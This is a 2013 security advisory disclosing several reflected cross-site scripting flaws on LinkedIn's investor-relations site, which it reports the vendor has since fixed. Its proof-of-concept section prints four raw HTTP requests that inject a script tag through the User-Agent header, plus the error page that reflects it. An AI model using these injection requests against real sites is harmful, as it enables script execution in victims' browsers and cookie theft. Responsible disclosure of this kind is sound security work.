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INTERNET SECURITY AUDITORS ALERT 2013-006
- Original release date: 4th March 2013
- Last revised: 25th March 2013
- Discovered by: Eduardo Garcia Melia
- Severity: 4.3/10 (CVSS Base Scored)
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I. VULNERABILITY
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Multiple Reflected XSS vulnerabilities in LinkedIn Investors.
II. BACKGROUND
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LinkedIn is a social networking service and
website(http://www.linkedin.com/) operates the world's largest
professional network on the Internet with more than 187 million
members in over 200 countries and territories.
More Information: http://press.linkedin.com/about
III. DESCRIPTION
-------------------------
LinkedIn Investors is affected by Multiple reflected Cross-Site
Scripting vulnerabilities. An attacker can inject HTML or script code
in the context of victim's browser, so can perform XSS attacks, and
steal cookies of a targeted user. The affected resource is
http://investors.linkedin.com.
IV. PROOF OF CONCEPT
-------------------------
The XSS vulnerability its in User-Agent:
===============
First XSS
===============
GET /releasedetail.cfm?ReleaseID=738977' HTTP/1.1
Host: investors.linkedin.com
Proxy-Connection: keep-alive
Cache-Control: max-age=0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: <script>alert("XSS")</script>
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Content-Length: 2
===============
Second XSS
===============
GET /eventdetail.cfm?eventid=124442'-- HTTP/1.1
Host: investors.linkedin.com
Proxy-Connection: keep-alive
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: <script>alert("XSS")</script>
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Content-Length: 2
===============
Third XSS
===============
GET /stocklookup.cfm?historic_Month=2&historic_Day=4&historic_Year=2013'--
HTTP/1.1
Host: investors.linkedin.com
Proxy-Connection: keep-alive
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: <script>alert("XSS")</script>
Referer: http://investors.linkedin.com/stocklookup.cfm
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Content-Length: 2
===============
Fourth XSS
===============
GET /calculator.cfm?PostBack=1&initialAmnt=100&calc_method=shrs&historic_Mo nth=5&historic_Day=19&historic_Year=2011'--&Submit=Calculate HTTP/1.1
Host: investors.linkedin.com
Proxy-Connection: keep-alive
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: <script>alert("XSS")</script>
Referer: http://investors.linkedin.com/calculator.cfm
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Content-Length: 2
RESPONSE in all cases:
HTTP/1.1 500 Internal Server Error
Connection: close
Date: Mon, 04 Mar 2013 11:34:48 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
server-error: true
Content-Type: text/html; charset=UTF-8
<h2>Error occurred processing request</h2>
<b>Error Diagnostic</b><p>
<cfoutput>
Element RESULT.TITLE is undefined in RELEASEDETAIL. <br>The error
occurred on line 175.
Date/Time: Mon Mar 04 06:34:48 EST 2013<br>
Browser: <script>alert("XSS")</script><br>
Remote Address: 192.168.149.88<br>
<!--- removed query string from error page - info sec viewed it as
XSS - tws - 05/18/2010 --->
</cfoutput>
V. BUSINESS IMPACT
------------------------
This flaw can be used by a malicious user to send phishing to the
linked in customers, abusing of the users trust on LinkedIn portal,
tricking the user. This user can be forward to a LinkedIn clone site
to stolen credentials, to some malicious site hosting malware and more.
VI. SYSTEMS AFFECTED
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The vulnerability affects the LinkedIn Investors:
http://investors.linkedin.com
VII. SOLUTION
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Corrected by vendor.
VIII. REFERENCES
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http://investors.linkedin.com
http://www.isecauditors.com
https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting
IX. CREDITS
-------------------------
These vulnerabilities have been discovered by
Eduardo Garcia Melia (egarcia (at) isecauditors (dot) com).
X. REVISION HISTORY
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March 04, 2013: Initial release
March 10, 2013: Second release
XI. DISCLOSURE TIMELINE
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March 04, 2013: Vulnerability acquired by
Internet Security Auditors (www.isecauditors.com)
March 10, 2013: Sent to Sec Team.
March 25, 2013: Request for update. Response regarding
it was already corrected. Sent to lists.
XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
Internet Security Auditors accepts no responsibility for any damage
caused by the use or misuse of this information.
XIV. FOLLOW US
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